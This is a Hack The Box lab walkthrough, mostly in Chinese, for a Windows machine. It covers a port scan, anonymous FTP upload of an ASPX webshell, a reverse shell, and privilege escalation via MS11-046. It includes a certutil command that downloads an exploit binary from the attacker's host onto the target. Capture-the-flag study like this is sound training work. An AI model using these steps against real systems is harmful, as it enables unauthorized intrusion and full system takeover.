• URL : https://app.hackthebox.eu/machines/3
• IP : 10.129.208.183

Information Gathering

• Port Scan
  • rustscan -a 10.129.208.183 -r 1-65535
  • 21 : FTP
  • 80 : Web

FTP Services

• 嘗試連接 FTP
  • 
  • 發現可以匿名登入
• 嘗試上傳 aspx 的 webshell
  • https://raw.githubusercontent.com/SecWiki/WebShell-2/master/Aspx/awen%20asp.net%20webshell.aspx
  • 

Web Shell

• 
• Install Reverse Shell
  • 嘗試使用 Aspz 的 Reverse shell
  • https://github.com/borjmz/aspx-reverse-shell/blob/master/shell.aspx

Reverse shell

• 
• Check System Info
  • 
    • user : iis apppool\web
  • 
    • System : Win 7 x64 6.1.7600 N/A Build 7600
  • 
    • 確認系統的環境變數

Privilege Escalation

• 搜尋 Windows 的版本
  • 
• Exploit : MS11-046 Kernel Exploits
  • https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS11-046
• 下載檔案到靶機
  • certutil -urlcache -f http://10.10.16.35:8000/ms11-046.exe ms11-046.exe
    • 
• 執行
  • 
  • Get System
• User Flag
  • 
• Root Flag
  •